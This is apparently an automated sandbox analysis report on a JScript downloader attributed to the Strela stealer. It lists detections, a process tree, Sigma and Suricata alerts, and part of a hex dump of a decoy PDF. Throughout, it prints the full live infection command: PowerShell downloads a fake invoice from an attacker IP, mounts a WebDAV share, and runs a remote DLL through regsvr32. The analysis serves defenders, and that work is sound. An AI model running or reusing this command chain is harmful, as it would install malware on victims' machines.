Edit tour

Windows Analysis Report
6942228092691529249.js

Overview

General Information

Sample name:	6942228092691529249.js
Analysis ID:	1589043
MD5:	23e89e9e47ae90506afcbc98af26bad3
SHA1:	98404ebc3cb089cfc1c47fc63e8bc53d68d7687b
SHA256:	705a601bb6720b632316bebdc6dfc45090b63e5b0a6553be7fb5288b4d9927c0
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7032 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\6942228092691529249.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7136 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\177542637820630.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6356 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1860 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 3592 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 2304 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7308 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1732,i,10135533958291103710,16445011062293474769,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 1148 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7052 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 6308 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7032	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\177542637820630.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7136, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1860, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\177542637820630.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7136, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1860, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\6942228092691529249.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\6942228092691529249.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\6942228092691529249.js", ProcessId: 7032, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7052, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49731

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\177542637820630.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\177542637820630.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\6942228092691529249.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7032, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\177542637820630.dll, ProcessId: 7136, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\177542637820630.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\177542637820630.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\6942228092691529249.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7032, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\177542637820630.dll, ProcessId: 7136, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\177542637820630.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\177542637820630.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\6942228092691529249.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7032, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\177542637820630.dll, ProcessId: 7136, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\177542637820630.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\177542637820630.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\6942228092691529249.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7032, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\177542637820630.dll, ProcessId: 7136, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\177542637820630.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\177542637820630.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\6942228092691529249.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7032, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\177542637820630.dll, ProcessId: 7136, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\6942228092691529249.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\6942228092691529249.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\6942228092691529249.js", ProcessId: 7032, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\177542637820630.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7136, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1860, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1148, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7052, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 6308, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1148, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7052, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\177542637820630.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\177542637820630.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\6942228092691529249.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7032, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\177542637820630.dll, ProcessId: 7136, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T08:47:37.354869+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T08:47:40.375116+0100	1810005	1	Potentially Bad Traffic	192.168.2.4	49731	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T08:47:37.354869+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 6942228092691529249.js

Virustotal: Detection: 14%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 6942228092691529249.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 6942228092691529249.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.4:49731 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.4:49730 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 07:47:37 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 